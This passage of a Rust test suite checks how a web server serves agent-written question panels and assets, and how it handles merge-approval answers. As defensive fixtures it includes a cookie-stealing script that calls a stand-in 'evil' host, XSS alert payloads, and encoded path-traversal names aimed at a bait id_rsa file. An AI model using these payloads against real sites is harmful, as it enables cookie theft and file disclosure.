12680        for _ in 0..SETTLE_STEPS {
12681            let view = fx.get("/api/loop").await.json();
12682            if want(&view) {
12683                return view;
12684            }
12685            tokio::time::sleep(Duration::from_millis(10)).await;
12686        }
12687        panic!(
12688            "the loop never settled: {}",
12689            fx.get("/api/loop").await.json()
12690        );
12691    }
12692
12693    /// File an open question directly in the store the server reads.
12694    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12695        let store = fx.questions();
12696        let mut q = Question::new(
12697            "20260902-000000-beef".to_owned(),
12698            "implement".to_owned(),
12699            "impl-A".to_owned(),
12700            summary.to_owned(),
12701            "because it matters".to_owned(),
12702            choices.iter().map(|c| (*c).to_owned()).collect(),
12703        );
12704        store.put(&mut q).expect("put question");
12705        q.id
12706    }
12707
12708    /// A question with a panel the server can serve, plus the named assets.
12709    ///
12710    /// Written through `Questions::put_panel` rather than by laying out the
12711    /// directory here, so these tests exercise the same on-disk shape the
12712    /// agents produce and cannot pass against a layout only the tests know.
12713    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12714        let store = fx.questions();
12715        let mut q = Question::new(
12716            "20260902-000000-beef".to_owned(),
12717            "land".to_owned(),
12718            "fix".to_owned(),
12719            "Merge this?".to_owned(),
12720            "the diff is in the panel".to_owned(),
12721            vec!["merge".to_owned(), "hold".to_owned()],
12722        );
12723        // Staged outside the questions root, because `put_panel` copies from
12724        // wherever the agent left its files.
12725        let staging = fx.home.path().join("staging");
12726        std::fs::create_dir_all(&staging).expect("staging dir");
12727        let sources: Vec<PathBuf> = assets
12728            .iter()
12729            .map(|(name, bytes)| {
12730                let path = staging.join(name);
12731                std::fs::write(&path, bytes).expect("write staged asset");
12732                path
12733            })
12734            .collect();
12735        store
12736            .put_panel(&mut q, html, &sources)
12737            .expect("write the panel");
12738        store.put(&mut q).expect("put question");
12739        q.id
12740    }
12741
12742    /// A talk on disk, without talking to a model.
12743    ///
12744    /// Written as JSON straight into the store the server reads, because the
12745    /// only constructor `talk::begin` offers takes no turn but still requires
12746    /// a real caller-visible flow. The one thing this cannot make up is the
12747    /// seat, so it is built with the real `SeatState::new` and serialized -
12748    /// the alternative, hand-writing that object, would make these tests fail
12749    /// the day the seat gains a field.
12750    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12751        seed_talk_at(&fx.talks(), id, status)
12752    }
12753
12754    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12755        std::fs::create_dir_all(store.root()).expect("talks dir");
12756        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12757            .expect("serialize a seat");
12758        let body = serde_json::json!({
12759            "schema": 1,
12760            "id": id,
12761            "repo": "/repo/magi",
12762            "agent": "mock",
12763            "status": status,
12764            "turns": [],
12765            "created_at": Timestamp::now().to_string(),
12766            "updated_at": Timestamp::now().to_string(),
12767            "seat": seat,
12768        });
12769        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12770        store.get(id).expect("the seeded talk has to be readable");
12771        id.to_owned()
12772    }
12773
12774    #[tokio::test]
12775    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12776        let fx = Fixture::start().await;
12777        let id = panel(
12778            &fx,
12779            "<h1>Merge?</h1><img src=\"diff.svg\">",
12780            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12781        );
12782
12783        for path in [
12784            format!("/api/questions/{id}/panel"),
12785            format!("/api/questions/{id}/asset/diff.svg"),
12786        ] {
12787            let res = fx.get(&path).await;
12788            assert_eq!(res.status, 200, "{path}: {}", res.body);
12789            // The whole string, not a substring. A weakened directive - an
12790            // `img-src *` that lets a panel beacon out to a remote host, a
12791            // `script-src` anything, a missing `form-action` that lets it post
12792            // the owner's decision to a third party - has to fail here, and a
12793            // `contains` assertion would let every one of those through.
12794            assert_eq!(
12795                res.header("content-security-policy"),
12796                Some(
12797                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12798                     font-src data:; base-uri 'none'; form-action 'none'; \
12799                     frame-ancestors 'self'"
12800                ),
12801                "{path} is the only thing between a hostile panel and the tailnet"
12802            );
12803            assert_eq!(
12804                res.header("x-content-type-options"),
12805                Some("nosniff"),
12806                "{path}: a browser must not re-decide the type we sent"
12807            );
12808            assert_eq!(
12809                res.header("referrer-policy"),
12810                Some("no-referrer"),
12811                "{path}: a panel must not leak the question id off the machine"
12812            );
12813
12814            // The front end mounts the frame only after a `HEAD` says the
12815            // panel is there, so `HEAD` has to answer with the same status and
12816            // the same policy as `GET` - a preflight that came back without
12817            // the CSP would mean a frame mounted on an unverified promise.
12818            let pre = fx.head(&path).await;
12819            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12820            assert_eq!(
12821                pre.header("content-security-policy"),
12822                res.header("content-security-policy"),
12823                "{path}: the preflight carries the same policy"
12824            );
12825            assert_eq!(
12826                pre.header("content-type"),
12827                res.header("content-type"),
12828                "{path}: the preflight carries the same type"
12829            );
12830        }
12831    }
12832
12833    #[tokio::test]
12834    async fn a_panel_reaches_the_browser_byte_for_byte() {
12835        let fx = Fixture::start().await;
12836        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12837        // tag, an entity, and a multi-byte character. The sandbox is what makes
12838        // this safe, so nothing here may be rewritten on the way out - a
12839        // rewritten diff is a diff the owner cannot trust.
12840        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12841        let id = panel(&fx, html, &[]);
12842
12843        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12844
12845        assert_eq!(res.status, 200);
12846        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12847        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12848        assert_eq!(
12849            res.header("content-disposition"),
12850            None,
12851            "the panel itself is rendered in the frame, not downloaded"
12852        );
12853    }
12854
12855    #[tokio::test]
12856    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12857        let fx = Fixture::start().await;
12858        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12859        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12860        let id = panel(
12861            &fx,
12862            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12863            &[("diff.svg", svg), ("shot.png", png)],
12864        );
12865
12866        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12867        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12868
12869        assert_eq!(as_svg.status, 200);
12870        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12871        // An SVG is XML that may carry script. Inside the panel it is an
12872        // `<img src>` and the script cannot run; opened at the top level it
12873        // would be a document on magi's own origin, so the browser is told to
12874        // download it instead of rendering it.
12875        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12876
12877        assert_eq!(as_png.status, 200);
12878        assert_eq!(as_png.header("content-type"), Some("image/png"));
12879        assert_eq!(
12880            as_png.header("content-disposition"),
12881            None,
12882            "a raster image has no execution surface, so tapping it still shows it"
12883        );
12884        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12885    }
12886
12887    #[tokio::test]
12888    async fn an_html_asset_is_never_served_as_html() {
12889        let fx = Fixture::start().await;
12890        let id = panel(
12891            &fx,
12892            "<p>see the notes</p>",
12893            &[
12894                (
12895                    "notes.html",
12896                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12897                ),
12898                ("hook.js", b"fetch('http://evil/')"),
12899                ("data.json", b"{}"),
12900                ("HEADLINE.TXT", b"plain"),
12901            ],
12902        );
12903
12904        for name in ["notes.html", "hook.js", "data.json"] {
12905            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12906            assert_eq!(res.status, 200, "{name}: {}", res.body);
12907            // Serving this as text/html would be a way to reach agent markup
12908            // at the top level of the operator's browser, outside the frame's
12909            // sandbox and outside its CSP - which is the whole thing the panel
12910            // design exists to prevent. Unlisted types are downloads.
12911            assert_eq!(
12912                res.header("content-type"),
12913                Some("application/octet-stream"),
12914                "{name} must not be a type the browser will execute or render"
12915            );
12916        }
12917        // The whitelist is matched case-insensitively, so an agent shouting the
12918        // extension still gets a readable file rather than a download.
12919        let txt = fx
12920            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12921            .await;
12922        assert_eq!(
12923            txt.header("content-type"),
12924            Some("text/plain; charset=utf-8")
12925        );
12926    }
12927
12928    #[tokio::test]
12929    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12930        let fx = Fixture::start().await;
12931        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12932        // Something outside the panel directory that a traversal would reach if
12933        // one got through, so a passing test is not merely "the file was
12934        // missing anyway".
12935        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12936
12937        // Decoded before this server's handler sees them: axum percent-decodes
12938        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12939        // string with a NUL in it. All three look like ordinary single-segment
12940        // filenames to the router, so the router passes them through and
12941        // `valid_asset_name` is what refuses them - for the literal `..`, and
12942        // for `/`, `\` and NUL not being in the permitted character set.
12943        for encoded in [
12944            "%2e%2e%2fid_rsa",
12945            "..%2fid_rsa",
12946            "..%5cid_rsa",
12947            "%2e%2e%5cid_rsa",
12948            "diff%00.svg",
12949            "..",
12950            ".hidden",
12951            "%2e%2e%2f%2e%2e%2fid_rsa",
12952        ] {
12953            let res = fx
12954                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12955                .await;
12956            assert_eq!(
12957                res.status, 400,
12958                "`{encoded}` has to be refused by name, not looked up: {}",
12959                res.body
12960            );
12961            assert!(res.json()["error"].is_string(), "{}", res.body);
12962        }
12963
12964        // Not decoded, and never this handler's problem: a real slash makes the
12965        // request one segment too long for `/api/questions/{id}/asset/{name}`,
12966        // so axum's router has no route to match and answers before any code
12967        // here runs. Asserted so that a future route with a wildcard segment
12968        // cannot quietly open this door.
12969        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12970            let res = fx
12971                .get(&format!("/api/questions/{id}/asset/{literal}"))
12972                .await;
12973            assert_eq!(
12974                res.status, 404,
12975                "`{literal}` must not match the asset route at all: {}",
12976                res.body
12977            );
12978        }
12979    }
12980
12981    #[tokio::test]
12982    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12983        let fx = Fixture::start().await;
12984        let plain = ask(&fx, "Which backend?", &["SQLite"]);
12985        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12986
12987        // A question nobody wrote a panel for. The client preflights with HEAD
12988        // and cannot see inside a sandboxed frame, so this must be a status and
12989        // not an empty page.
12990        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12991        assert_eq!(none.status, 404, "{}", none.body);
12992        assert!(none.json()["error"].is_string(), "{}", none.body);
12993        assert_eq!(
12994            fx.head(&format!("/api/questions/{plain}/panel"))
12995                .await
12996                .status,
12997            404,
12998            "the preflight is the only way the client can learn this"
12999        );
13000
13001        // A name that is perfectly legal and simply is not there.
13002        let missing = fx
13003            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
13004            .await;
13005        assert_eq!(missing.status, 404, "{}", missing.body);
13006        assert!(missing.json()["error"].is_string(), "{}", missing.body);
13007
13008        // A question that does not exist at all, on both routes.
13009        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
13010        assert_eq!(
13011            fx.get("/api/questions/nope/asset/diff.svg").await.status,
13012            404
13013        );
13014    }
13015
13016    #[tokio::test]
13017    async fn a_run_with_an_open_question_reads_as_waiting() {
13018        let fx = Fixture::start().await;
13019        let run = "20260902-000000-beef".to_owned();
13020        write_run(&fx.runs(), &run, RunStatus::Implementing);
13021
13022        let before = fx.get("/api/runs").await.json();
13023        assert_eq!(before[0]["waiting"], false, "{before}");
13024
13025        let store = fx.questions();
13026        let mut q = Question::new(
13027            run.clone(),
13028            "implement".to_owned(),
13029            "impl-A".to_owned(),
13030            "Which backend?".to_owned(),
13031            String::new(),
13032            vec!["SQLite".to_owned()],
13033        );
13034        store.put(&mut q).expect("put");
13035
13036        let during = fx.get("/api/runs").await.json();
13037        assert_eq!(during[0]["waiting"], true, "{during}");
13038
13039        // Answered: the run is moving again, and the flag has to follow without
13040        // anything having rewritten run.json.
13041        q.answer(Answer::Choice("SQLite".to_owned()))
13042            .expect("answer");
13043        store.put(&mut q).expect("put");
13044        let after = fx.get("/api/runs").await.json();
13045        assert_eq!(after[0]["waiting"], false, "{after}");
13046    }
13047
13048    #[tokio::test]
13049    async fn an_open_question_is_listed_and_counted_by_health() {
13050        let fx = Fixture::start().await;
13051        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13052
13053        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13054        let listed = fx.get("/api/questions").await.json();
13055        assert_eq!(listed.as_array().expect("array").len(), 1);
13056        assert_eq!(listed[0]["id"], id);
13057        assert_eq!(listed[0]["status"], "open");
13058        assert_eq!(listed[0]["choices"][1], "Redis");
13059        // The count is what makes the phone's indicator honest: it is the one
13060        // number meaning nothing will move until a human acts.
13061        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13062    }
13063
13064    fn obsolete_approval_state() -> RunState {
13065        let mut state = crate::land::tests::repair_state(true, true);
13066        state.pr = Some(crate::run::PrRecord {
13067            url: "https://github.com/example/repo/pull/42".into(),
13068            number: 42,
13069            state: "open".into(),
13070            checks: "green".into(),
13071            round: 1,
13072            rounds: 4,
13073            red_at_merge: Vec::new(),
13074        });
13075        state
13076    }
13077
13078    #[tokio::test]
13079    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
13080        for owner in ["missing", "current", "completed", "later"] {
13081            let fx = Fixture {
13082                home: TempDir::new().unwrap(),
13083                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13084            };
13085            let mut state = obsolete_approval_state();
13086            state.status = RunStatus::Landing;
13087            state.parked = true;
13088            state.driver_exited = true;
13089            let mut q = Question::new(
13090                state.id.clone(),
13091                crate::land::APPROVAL_NODE.into(),
13092                "land".into(),
13093                "Old approval".into(),
13094                "Original evidence".into(),
13095                vec!["merge".into(), "hold".into()],
13096            );
13097            state.land_approval = Some(crate::run::LandApproval {
13098                question: q.id.clone(),
13099                head: "head".into(),
13100            });
13101            state.save_under(fx.home.path()).unwrap();
13102            let stale = state.clone();
13103            fx.questions().put(&mut q).unwrap();
13104            let mut task = Task::new(
13105                "Owner".into(),
13106                "Original instruction".into(),
13107                state.repo.clone(),
13108                Source::Human,
13109            );
13110            task.runs.push(state.id.clone());
13111            task.status = if owner == "completed" {
13112                TaskStatus::Done
13113            } else {
13114                TaskStatus::Parked
13115            };
13116            if owner == "later" {
13117                task.runs.push("later-run".into());
13118            }
13119            if owner != "missing" {
13120                fx.queue().put(&mut task).unwrap();
13121            }
13122            let ui = Arc::new(Ui::new(
13123                fx.queue(),
13124                fx.questions(),
13125                fx.talks(),
13126                fx.runs(),
13127                fx.home.path().into(),
13128                state.repo.clone(),
13129            ));
13130            let response = question_answer(
13131                State(ui),
13132                Path(q.id.clone()),
13133                Ok(Json(NewAnswer {
13134                    choice: Some(crate::merge_decision::DISMISS.into()),
13135                    text: None,
13136                    ..Default::default()
13137                })),
13138            )
13139            .await
13140            .unwrap();
13141            assert_eq!(
13142                response.0.question.resolution().as_deref(),
13143                Some(crate::merge_decision::DISMISS)
13144            );
13145            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13146            assert_eq!(disk.status, RunStatus::Superseded);
13147            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
13148            assert!(!crate::merge_decision::resumable_hold(&disk));
13149            assert_eq!(
13150                serde_json::to_value(&disk.pr).unwrap(),
13151                serde_json::to_value(&stale.pr).unwrap()
13152            );
13153            assert_eq!(fx.questions().count_open(), 0);
13154            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
13155            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13156            if owner == "missing" {
13157                assert!(fx.queue().list().is_empty());
13158            } else {
13159                let after = fx.queue().get(&task.id).unwrap();
13160                assert_eq!(
13161                    after.status,
13162                    if owner == "current" {
13163                        TaskStatus::Done
13164                    } else {
13165                        task.status
13166                    }
13167                );
13168                assert_eq!(after.runs, task.runs);
13169                assert_eq!(after.instruction, task.instruction);
13170                assert_eq!(after.action_applied(&q.id), owner == "current");
13171            }
13172        }
13173    }
13174
13175    #[tokio::test]
13176    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
13177        let fx = Fixture::start().await;
13178        let mut state = obsolete_approval_state();
13179        state.status = RunStatus::Landing;
13180        state.parked = true;
13181        state.driver_exited = true;
13182        let mut q = Question::new(
13183            state.id.clone(),
13184            crate::land::APPROVAL_NODE.into(),
13185            "land".into(),
13186            "Superseded PR approval".into(),
13187            "Original review evidence".into(),
13188            vec!["merge".into(), "hold".into()],
13189        );
13190        state.land_approval = Some(crate::run::LandApproval {
13191            question: q.id.clone(),
13192            head: "old-reviewed-head".into(),
13193        });
13194        // The old persisted PR may still say open even when a separate change
13195        // already landed. Dismissal must not use that snapshot to close it.
13196        state.save_under(fx.home.path()).unwrap();
13197        let stale_driver = state.clone();
13198        fx.questions().put(&mut q).unwrap();
13199        let path = fx
13200            .home
13201            .path()
13202            .join("questions")
13203            .join(format!("{}.json", q.id));
13204        let mut legacy = serde_json::to_value(&q).unwrap();
13205        legacy["schema"] = 9.into();
13206        legacy.as_object_mut().unwrap().remove("merge_target");
13207        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
13208
13209        // POST without GET tests legacy upgrade and validation at the actual
13210        // entry point, rather than constructing a modern card in the test.
13211        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13212        let answer_path = format!("/api/questions/{}/answer", q.id);
13213        let res = fx.post(&answer_path, Some(&body)).await;
13214        assert_eq!(res.status, 200, "{}", res.body);
13215        let disk = fx.questions().get(&q.id).unwrap();
13216        assert_eq!(
13217            disk.resolution().as_deref(),
13218            Some(crate::merge_decision::DISMISS)
13219        );
13220        assert!(disk.detail.starts_with("Original review evidence"));
13221        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
13222        assert_eq!(retired.status, RunStatus::Superseded);
13223        assert_eq!(
13224            serde_json::to_value(&retired.pr).unwrap(),
13225            serde_json::to_value(&state.pr).unwrap()
13226        );
13227        assert!(!retired.merge_decision.as_ref().unwrap().closed);
13228        assert!(!crate::merge_decision::resumable_hold(&retired));
13229        assert!(fx.queue().list().is_empty());
13230        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13231        // A restarted server re-reads the persisted pending list.
13232        let addr = Fixture::serve(
13233            fx.home.path(),
13234            PathBuf::from("/repo/magi"),
13235            launch_idle,
13236            None,
13237        )
13238        .await;
13239        let reconnected = Fixture {
13240            home: fx.home,
13241            addr,
13242        };
13243        let listed = reconnected.get("/api/questions").await.json();
13244        assert!(
13245            listed
13246                .as_array()
13247                .unwrap()
13248                .iter()
13249                .all(|q| q["status"] != "open")
13250        );
13251        assert_eq!(listed[0]["id"], q.id, "history remains available");
13252        assert_eq!(
13253            reconnected.get("/api/health").await.json()["questions_open"],
13254            0
13255        );
13256        assert_eq!(
13257            reconnected
13258                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
13259                .await
13260                .status,
13261            409
13262        );
13263        // A late waiter cannot turn the old answer into a new decision.
13264        assert!(
13265            reconnected
13266                .questions()
13267                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
13268                .is_err()
13269        );
13270        // The same guard used by claims, repair and publication rejects a
13271        // saved in-memory driver as well as the persisted terminal record.
13272        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
13273    }
13274
13275    #[tokio::test]
13276    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
13277        let fx = Fixture::start().await;
13278        let mut state = obsolete_approval_state();
13279        state.status = RunStatus::Landing;
13280        state.driver_exited = true;
13281        let mut q = Question::new(
13282            state.id.clone(),
13283            crate::land::APPROVAL_NODE.into(),
13284            "land".into(),
13285            "Obsolete approval".into(),
13286            String::new(),
13287            vec!["merge".into(), "hold".into()],
13288        );
13289        state.land_approval = Some(crate::run::LandApproval {
13290            question: q.id.clone(),
13291            head: "head".into(),
13292        });
13293        state.save_under(fx.home.path()).unwrap();
13294        fx.questions().put(&mut q).unwrap();
13295        let mut task = Task::new(
13296            "Owner".into(),
13297            "Original instruction".into(),
13298            state.repo.clone(),
13299            Source::Human,
13300        );
13301        task.runs = vec![state.id.clone(), "later-run".into()];
13302        fx.queue().put(&mut task).unwrap();
13303        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
13304        let claim = fx.queue().claim(&task.id).unwrap();
13305        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13306        let path = format!("/api/questions/{}/answer", q.id);
13307        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13308        assert!(fx.questions().get(&q.id).unwrap().status.open());
13309        drop(claim);
13310        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
13311        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13312        assert!(fx.questions().get(&q.id).unwrap().status.open());
13313        drop(publication);
13314        // Unknown liveness and armed auto-merge both fail without settling.
13315        state.driver_exited = false;
13316        state.driver_pid = None;
13317        state.driver_claimed = None; // No durable proof of an unstarted execution.
13318        state.save_under(fx.home.path()).unwrap();
13319        assert_eq!(
13320            state.liveness_under(fx.home.path(), false),
13321            crate::run::Liveness::Unknown
13322        );
13323
13324        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13325        state.driver_exited = true;
13326        state.land_armed_head = Some("head".into());
13327        state.save_under(fx.home.path()).unwrap();
13328        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13329        state.land_armed_head = None;
13330        state.save_under(fx.home.path()).unwrap();
13331        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
13332        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13333        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
13334    }
13335
13336    #[tokio::test]
13337    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
13338        let fx = Fixture::start().await;
13339        let mut state = obsolete_approval_state();
13340        state.status = RunStatus::Landing;
13341        state.driver_exited = true;
13342        let mut q = Question::new(
13343            state.id.clone(),
13344            crate::land::APPROVAL_NODE.into(),
13345            "land".into(),
13346            "Obsolete approval".into(),
13347            String::new(),
13348            vec!["merge".into(), "hold".into()],
13349        );
13350        state.land_approval = Some(crate::run::LandApproval {
13351            question: q.id.clone(),
13352            head: "head".into(),
13353        });
13354        state.save_under(fx.home.path()).unwrap();
13355        fx.questions().put(&mut q).unwrap();
13356        let mut task = Task::new(
13357            "Owner".into(),
13358            "Original instruction".into(),
13359            state.repo.clone(),
13360            Source::Human,
13361        );
13362        task.runs.push(state.id.clone());
13363        task.status = TaskStatus::Parked;
13364        fx.queue().put(&mut task).unwrap();
13365        // Model a crash after the run stop was persisted but before the queue
13366        // and answered question were flushed. Retrying must finish, not resume.
13367        state.merge_decision = Some(crate::merge_decision::Decision {
13368            question: q.id.clone(),
13369            target: crate::merge_decision::Target {
13370                pr: state.pr.as_ref().unwrap().url.clone(),
13371                head: "head".into(),
13372                language: "ja".into(),
13373            },
13374            choice: crate::merge_decision::DISMISS.into(),
13375            closed: false,
13376            replacement_run: None,
13377            replacement_pr: None,
13378        });
13379        state.status = RunStatus::Superseded;
13380        state.save_under(fx.home.path()).unwrap();
13381        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13382        let path = format!("/api/questions/{}/answer", q.id);
13383        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
13384        let done = fx.queue().get(&task.id).unwrap();
13385        assert_eq!(done.status, TaskStatus::Done);
13386        assert_eq!(done.runs, task.runs);
13387        assert_eq!(done.instruction, task.instruction);
13388        assert!(done.action_applied(&q.id));
13389        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13390        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
13391        assert!(!fx.questions().get(&q.id).unwrap().status.open());
13392    }
13393
13394    #[tokio::test]
13395    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
13396        let home = TempDir::new().unwrap();
13397        let ui = Arc::new(Ui::new(
13398            Queue::at(home.path().join("queue")),
13399            Questions::at(home.path().join("questions")),
13400            Talks::at(home.path().join("talks")),
13401            home.path().join("runs"),
13402            home.path().to_owned(),
13403            home.path().to_owned(),
13404        ));
13405        let talks = &ui.talks;
13406        let chat =
13407            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
13408        let mut q = Question::new(
13409            "run".into(),
13410            crate::land::APPROVAL_NODE.into(),
13411            "land".into(),
13412            "Merge?".into(),
13413            String::new(),
13414            vec!["merge".into(), "hold".into()],
13415        );
13416        q.routed_task = Some("task".into());
13417        q.routed_chat = Some(chat.id.clone());
13418        q.merge_target = Some(crate::merge_decision::Target {
13419            pr: "https://example.test/pull/1".into(),
13420            head: "head-a".into(),
13421            language: "en".into(),
13422        });
13423        ui.questions.put(&mut q).unwrap();
13424        let send = |body| {
13425            question_answer(
13426                State(ui.clone()),
13427                Path(q.id.clone()),
13428                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
13429            )
13430        };
13431        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
13432        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
13433        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
13434        assert!(send(wrong_chat).await.is_err());
13435        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
13436        assert!(send(stale).await.is_err());
13437        assert!(ui.questions.get(&q.id).unwrap().status.open());
13438        assert!(send(button.clone()).await.is_ok());
13439        assert_eq!(
13440            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13441            Some("merge")
13442        );
13443        assert!(send(button).await.is_err());
13444    }
13445
13446    #[tokio::test]
13447    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
13448        let home = TempDir::new().unwrap();
13449        let ui = Arc::new(Ui::new(
13450            Queue::at(home.path().join("queue")),
13451            Questions::at(home.path().join("questions")),
13452            Talks::at(home.path().join("talks")),
13453            home.path().join("runs"),
13454            home.path().to_owned(),
13455            home.path().to_owned(),
13456        ));
13457        for choice in [crate::land::APPROVE, crate::land::HOLD] {
13458            let mut q = Question::new(
13459                "run".into(),
13460                crate::land::APPROVAL_NODE.into(),
13461                "land".into(),
13462                "Merge?".into(),
13463                String::new(),
13464                vec!["merge".into(), choice.into()],
13465            );
13466            q.routed_task = Some("task".into());
13467            q.merge_target = Some(crate::merge_decision::Target {
13468                pr: "https://example.test/pull/1".into(),
13469                head: "head-a".into(),
13470                language: "en".into(),
13471            });
13472            ui.questions.put(&mut q).unwrap();
13473            let answer = |c: &str| {
13474                question_answer(
13475                    State(ui.clone()),
13476                    Path(q.id.clone()),
13477                    Ok(Json(
13478                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
13479                            .unwrap(),
13480                    )),
13481                )
13482            };
13483            let _ = answer(choice).await.unwrap();
13484            assert_eq!(
13485                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13486                Some(choice)
13487            );
13488        }
13489    }
13490
13491    #[tokio::test]
13492    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
13493        let home = TempDir::new().unwrap();
13494        let ui = Arc::new(Ui::new(
13495            Queue::at(home.path().join("queue")),
13496            Questions::at(home.path().join("questions")),
13497            Talks::at(home.path().join("talks")),
13498            home.path().join("runs"),
13499            home.path().to_owned(),
13500            home.path().to_owned(),
13501        ));
13502        let mut q = Question::new(
13503            "run".into(),
13504            crate::github_text::ASK_NODE.into(),
13505            "posting-gate".into(),
13506            "Post?".into(),
13507            String::new(),
13508            vec!["use fallback".into()],
13509        );
13510        q.routed_task = Some("task".into());
13511        ui.questions.put(&mut q).unwrap();
13512        let sent = question_answer(
13513            State(ui.clone()),
13514            Path(q.id.clone()),
13515            Ok(Json(
13516                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13517                    .unwrap(),
13518            )),
13519        )
13520        .await;
13521        let _ = sent.unwrap();
13522        assert_eq!(
13523            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13524            Some("use fallback")
13525        );
13526    }
13527
13528    #[tokio::test]
13529    async fn merge_decision_api_persists_exact_target_and_selected_action() {
13530        let fx = Fixture {
13531            home: TempDir::new().unwrap(),
13532            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13533        };
13534        for choice in [
13535            crate::land::HOLD,
13536            crate::land::REPAIR,
13537            crate::land::APPROVE,
13538            crate::merge_decision::WITHDRAW,
13539            "reimplement:beta",
13540        ] {
13541            let mut q = Question::new(
13542                "old-run".into(),
13543                crate::land::APPROVAL_NODE.into(),
13544                "land".into(),
13545                "Decision".into(),
13546                "Review findings".into(),
13547                vec![
13548                    "merge".into(),
13549                    "hold".into(),
13550                    crate::land::REPAIR.into(),
13551                    crate::merge_decision::WITHDRAW.into(),
13552                    "reimplement:beta".into(),
13553                ],
13554            );
13555            q.merge_target = Some(crate::merge_decision::Target {
13556                pr: "https://github.com/example/repo/pull/42".into(),
13557                head: "exact-reviewed-head".into(),
